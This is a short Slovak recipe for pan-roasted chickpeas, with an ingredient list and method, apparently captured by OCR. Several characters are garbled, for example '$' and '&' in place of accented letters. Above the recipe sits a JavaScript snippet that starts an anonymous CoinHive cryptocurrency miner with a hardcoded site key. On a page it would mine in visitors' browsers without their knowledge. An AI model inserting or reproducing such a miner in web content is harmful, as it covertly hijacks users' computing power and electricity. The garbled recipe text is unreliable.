Peceny cicer

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 1 konzervu ciceru, 3 PL olivového oleja, 1CL su$eného cesnaku, 1 PL &erstvého
tymianu alebo 1 CL suSeneho, 1 a 1/2 CL rimskej rasce, sof a Cierne korenie podla chuti

Postup: Cicer zlejeme, oplachneme a osusime. Na panvici rozohrejeme olivovy olej, priddme
cicer a korenie a za staleho mieSania opekame asi 7 minut, kym nezacne pukat a hnedndt.
Upeceny cicer vysypeme na papierovu utierku, aby vysala prebyto¢ny tuk. V pripade potreby
dochutime.




